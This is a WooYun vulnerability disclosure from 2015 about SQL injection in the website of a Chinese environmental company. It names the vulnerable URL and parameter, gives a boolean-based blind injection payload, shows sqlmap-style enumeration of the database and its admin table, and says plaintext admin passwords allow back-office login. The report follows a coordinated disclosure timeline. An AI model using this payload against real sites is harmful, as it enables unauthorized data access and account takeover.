当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0130640

漏洞标题：金正环保网站存在sql注入，可登录后台系统

相关厂商：cncert国家互联网应急中心

漏洞作者： pomelo

提交时间：2015-08-02 22:06

修复时间：2015-09-20 11:26

公开时间：2015-09-20 11:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-02： 细节已通知厂商并且等待厂商处理中
2015-08-06： 厂商已经确认，细节仅向厂商公开
2015-08-16： 细节向核心白帽子及相关领域专家公开
2015-08-26： 细节向普通白帽子公开
2015-09-05： 细节向实习白帽子公开
2015-09-20： 细节向公众公开

简要描述：

危害严重，密码为明文，可登录后台系统进行任意篡改

详细说明：

http://www.hgfs.com.cn/jishunews.php?id=10


Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=10' AND 4276=4276 AND 'sIkW'='sIkW
---
[INFO] the back-end DBMS is MySQL
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, PHP 5.3.29, Microsoft IIS 8.0
back-end DBMS: MySQL 5


available databases [2]:
[*] hgfscom
[*] information_schema


current database:    'hgfscom'


current user:    'hgfscom@%'


database management system users [1]:
[*] 'hgfscom'@'%'


Database: hgfscom
[15 tables]
+----------+
| admin    |
| chanping |
| cpclass1 |
| foot     |
| jianjie  |
| keywords |
| lianxi   |
| links    |
| liuyan   |
| qynews   |
| qynews1  |
| qynews2  |
| qynews3  |
| qynews4  |
| zhaopin  |
+----------+


Database: hgfscom
Table: admin
[5 columns]
+----------+-----------------+
| Column   | Type            |
+----------+-----------------+
| date     | date            |
| id       | int(4) unsigned |
| PassWord | varchar(32)     |
| quanxian | int(2)          |
| UserName | varchar(20)     |
+----------+-----------------+


hgfs账号密码.png


后台系统：

hgfs后台系统.png

漏洞证明：

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=10' AND 4276=4276 AND 'sIkW'='sIkW
---
[INFO] the back-end DBMS is MySQL
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, PHP 5.3.29, Microsoft IIS 8.0
back-end DBMS: MySQL 5


账号和密码：

hgfs账号密码.png


后台系统：

hgfs后台系统.png

修复方案：

版权声明：转载请注明来源 pomelo@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-08-06 11:24

厂商回复：

CNVD确认所述漏洞情况，暂未建立与软件生产厂商（或网站管理单位）的直接处置渠道，待认领。

最新状态：

暂无